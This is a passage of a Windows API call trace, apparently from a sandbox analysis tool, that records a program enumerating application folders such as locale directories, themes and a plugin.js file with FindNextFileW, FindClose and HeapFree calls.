ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0184.414] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0184.414] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.414] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0184.415] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.415] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0184.415] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0184.415] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.415] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0184.415] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0184.415] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0184.415] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0184.415] FindClose (in: hFindFile=0x4531780 | out: hFindFile=0x4531780) returned 1 [0184.415] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0184.417] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="createpdfupsell-app", cAlternateFileName="CREATE~1")) returned 1 [0184.419] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0184.419] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0184.427] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.819] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0184.820] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0184.820] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.820] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0184.820] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0184.821] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0184.821] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0184.821] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.821] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0184.821] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.822] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0184.822] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.822] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0184.822] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.822] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0184.823] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.823] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0184.823] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.823] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0184.823] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.823] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0184.823] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.824] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0184.824] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.824] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0184.824] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.824] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0184.824] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.824] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0184.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.825] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0184.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.825] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0184.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.825] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0184.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.825] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0184.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.826] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0184.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.826] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0184.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.826] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0184.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.826] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0184.827] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.827] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0184.827] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.827] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0184.827] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.827] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0184.828] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.828] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0184.828] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.828] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0184.828] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.828] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0184.829] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.829] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0184.829] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.829] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0184.829] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.829] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0184.829] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.829] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0184.830] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.830] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, 